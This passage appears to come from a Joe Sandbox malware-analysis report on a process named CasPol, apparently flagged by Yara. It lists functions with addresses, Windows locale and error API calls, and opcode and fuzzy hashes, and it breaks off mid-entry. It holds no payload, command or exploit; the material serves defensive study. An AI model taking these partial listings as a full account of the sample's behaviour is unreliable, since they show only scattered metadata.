                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: 0
                                                                                                                                                                                                  • API String ID: 0-4108050209
                                                                                                                                                                                                  • Opcode ID: ac460f81c2ed1c183269c9f6522614bdccbebbe18bfaf8fef360a7d89dd83e89
                                                                                                                                                                                                  • Instruction ID: b5ae8e6f7fa87a7dee9e60626e0a37a25df5f2dd99b83f8da903d7583ecded6c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ac460f81c2ed1c183269c9f6522614bdccbebbe18bfaf8fef360a7d89dd83e89
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0C129E727083048BD304DF65D882A1EB7E2BFCC758F15892EF495AB381DA74E915CB86
                                                                                                                                                                                                  Function 00452393 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482F4
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 00448301
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004523E7
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$_free$InfoLocale_abort
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1663032902-0
                                                                                                                                                                                                  • Opcode ID: b4047fd74fafd511f87100a415ff7352fa71784cc782813174b617cf7262d9f7
                                                                                                                                                                                                  • Instruction ID: 2d4dd0c1c30cd12b50dfb53a4a1f7f5f9091958bb121381f53cce851c87d7921
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b4047fd74fafd511f87100a415ff7352fa71784cc782813174b617cf7262d9f7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F921D632600606ABDB249F25DD41FBB73A8EB06316F10407FED01D6152EBBC9D48CB59
                                                                                                                                                                                                  Function 004525C3 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00452361,00000000,00000000,?), ref: 004525EF
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$InfoLocale_abort_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2692324296-0
                                                                                                                                                                                                  • Opcode ID: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                                                                                                                                                                                  • Instruction ID: 8c29d710edde3bbc403447a64c1727e90569dbd09ff88c71ffccea9529c81983
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1fdc73b6016995a7e39b97608f5a3b1d34212a550219c51fc6701dbba91f5541
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C4F04936A00116BBDB245A24D905BBF7B58EB01315F04446BEC05A3241FAF8FD058694
                                                                                                                                                                                                  Function 00448484 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00445909: EnterCriticalSection.KERNEL32(-0006D41D,?,0044305C,00000000,0046E938,0000000C,00443017,?,?,?,00445BA7,?,?,0044834A,00000001,00000364), ref: 00445918
                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(0044843E,00000001,0046EAE0,0000000C), ref: 004484BC
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1272433827-0
                                                                                                                                                                                                  • Opcode ID: 08771b5932cf67d2f7a499a1ea32343f451e1cff339441a182db03018af17ba2
                                                                                                                                                                                                  • Instruction ID: 901ea181f65c0ebd25502bb0be635eecd519ab6688482fb1bf3a60b9f01fb263
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 08771b5932cf67d2f7a499a1ea32343f451e1cff339441a182db03018af17ba2
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 37F04F76A50200EFEB00EF69D946B4D37E0FB04725F10446EF514DB2A2DB7899809B49
                                                                                                                                                                                                  Function 00451FD0 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00451F27,00000001,?,?,?,00452792,JD,?,?,?,?,?,00444AED,?,?,?), ref: 00452007
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1084509184-0
                                                                                                                                                                                                  • Opcode ID: 06cdaad2b1dd0330ee545a4703de2c72ad4f4425d90ac6c7aa7d45dfeb8c5d5b
                                                                                                                                                                                                  • Instruction ID: 16a122e2f6617649f53ffd93528404cf76eb0d70ff9257d35f530b0535ef024d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 06cdaad2b1dd0330ee545a4703de2c72ad4f4425d90ac6c7aa7d45dfeb8c5d5b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 84F0203630020597CB04AF75D845B6A7F90EB82729B06009AFE058B6A2C7799842C754
                                                                                                                                                                                                  Function 0040F90C Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,00415537,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.3 Pro), ref: 0040F920
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2299586839-0
                                                                                                                                                                                                  • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                                                                                                                                                                                                  • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                                                                                                                                                                                                  Function 00427AD7 Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: @
                                                                                                                                                                                                  • API String ID: 0-2766056989
                                                                                                                                                                                                  • Opcode ID: d5e9d99cca5bd5e192b92381c11644beefd2514f072827777375d50a0dc20ebe
                                                                                                                                                                                                  • Instruction ID: bbd91956ea41f9089fdf4ea26de33e0e8d132f349ea16d9e77f48d305cf446da
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d5e9d99cca5bd5e192b92381c11644beefd2514f072827777375d50a0dc20ebe
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F1412975A183558FC340CF29D58020AFBE1FFC8318F645A1EF889A3350D379E9428B86
                                                                                                                                                                                                  Function 10017194 Relevance: .8, Instructions: 751COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: f12bac2ceacaba3709f449de7301e54826307763cc64d35c491f096f7cc92462
                                                                                                                                                                                                  • Instruction ID: 44f99013a838546abf86f75096a930c39f9ce457c7277da91ad5f6740c4fb7fb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f12bac2ceacaba3709f449de7301e54826307763cc64d35c491f096f7cc92462
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 89628C316083958FD324DF28C48469ABBF1FF85384F154A2DE9E98B391E771D989CB42
                                                                                                                                                                                                  Function 0044DA49 Relevance: .6, Instructions: 637COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: c092c4f6b84b18e3b6cbbf7fe4413e1147b07dd6558fe569cc2693f6d3c9d2d8
                                                                                                                                                                                                  • Instruction ID: 4200599dcb49c21c1ca78238ad82984ca11e49a574bdd01b256a4bdf4e559873
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c092c4f6b84b18e3b6cbbf7fe4413e1147b07dd6558fe569cc2693f6d3c9d2d8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D2322521D69F414DE7239A35CC22336A24CBFB73C5F15D737E81AB5AAAEB29C4834105
                                                                                                                                                                                                  Function 0041F18B Relevance: .6, Instructions: 598COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 11fe0a22ef666ee2c1bed35089f8503541a39c5702d52e9a7652229b453a748b
                                                                                                                                                                                                  • Instruction ID: 06c66d0f35fb266b7f69fbfce4f1f639eb17408d85dd7e5468211ecdc8378744
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 11fe0a22ef666ee2c1bed35089f8503541a39c5702d52e9a7652229b453a748b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7932C2716087459BC715DF28C4807ABB7E5BF84318F040A3EF89587392D779D98ACB8A
                                                                                                                                                                                                  Function 0042742E Relevance: .4, Instructions: 435COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 069969c8f4566116342464d842351c7afe0a72e1e3c3dbe851ab1ff53bf1dd64
                                                                                                                                                                                                  • Instruction ID: b033fe34555866f616fd3cc64b543b740d9cc82fbf2d17309ab2a27531c6336b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 069969c8f4566116342464d842351c7afe0a72e1e3c3dbe851ab1ff53bf1dd64
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6C02CEB17046528BC358CF2EEC5053AB7E1AB8D311744863EE495C7781EB35FA22CB94
                                                                                                                                                                                                  Function 00426E9F Relevance: .4, Instructions: 383COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 82c6eebf497a8783bea5e127f8a47c76021f3e74a05456d4a9fdc662aa60ff2a
                                                                                                                                                                                                  • Instruction ID: 06b531cc06dcd57701b547059d2c567c45bbe225ee7d26ac7aed84b394be02a5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 82c6eebf497a8783bea5e127f8a47c76021f3e74a05456d4a9fdc662aa60ff2a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2DF19D716142558FC348CF1DE8A187BB3E1FB89311B450A2EF582C3391DB79EA16CB56
                                                                                                                                                                                                  Function 00437DB3 Relevance: .3, Instructions: 345COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                                                                                                                                                                  • Instruction ID: 2ce137016e68017aebaac4bbf916a57dff7c64f07ba89619fc9d118b501662d8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F9C1D5B22091930AEF3D4639853063FFAA05E957B171A635FE4F2CB2D4FE18C924D514
                                                                                                                                                                                                  Function 004381E8 Relevance: .3, Instructions: 341COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                                                                                                                                                                  • Instruction ID: bc2d6065b6eca92eb436045fb502f22698d18e4b36ed1375ff5d5b4a3f5914d0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 75C1D7722091930AEF2D4739853463FFAA15EA57B171A236FE4F2CB2D4FE28C924D514
                                                                                                                                                                                                  Function 0043797E Relevance: .3, Instructions: 331COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                                                                                                                                                                                                  • Instruction ID: 708e8454946620f186a1700387687a053fc407bd339bf74556c1f47a113f5a1a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 95C1C3B220D0930AEF3D4639853063FFAA15EA67B171A675ED4F2CB2D4FE18C924D614
                                                                                                                                                                                                  Function 00437566 Relevance: .3, Instructions: 323COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                                                                                                                                                  • Instruction ID: 79ee4f31eba35b7567f7a499d226924a3a6c1d38d98321864059dc3c63d33f3d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 76C1E6B220D0930AEF3D4639853463FBAA15EA57B171A236FD4F2CB2D4FE18C924C614
                                                                                                                                                                                                  Function 0041DBF3 Relevance: .3, Instructions: 277COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 2e85d6dc501202f3c2e801dccf0940871ddf0a86c450432c97aa3465398b7722
                                                                                                                                                                                                  • Instruction ID: 096ff1c695f9ab27d4b2dbab46670c8098de74970727e2ec16deab2a6828ec1d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2e85d6dc501202f3c2e801dccf0940871ddf0a86c450432c97aa3465398b7722
                                                                                                                                                                                                  • Instruction Fuzzy Hash: EAB1A37951429A8ACB05EF68C4913F63BA1EF6A301F0850B9EC9CCF757D2398506EB24
                                                                                                                                                                                                  Function 0043E34B Relevance: .2, Instructions: 237COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 30caec0efc745099040319085d406cd9bdcff08e218f1b0552064e12ef4373be
                                                                                                                                                                                                  • Instruction ID: 32d6082e35155a0a096806a6943d6f48c3d67459c64856e3d931f7c23e0710f9
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 30caec0efc745099040319085d406cd9bdcff08e218f1b0552064e12ef4373be
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59618971202709A6EE34892B88967BF63949F6D314F10342FE983DB3C1D65DDD82931E
                                                                                                                                                                                                  Function 0043E5A8 Relevance: .2, Instructions: 237COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
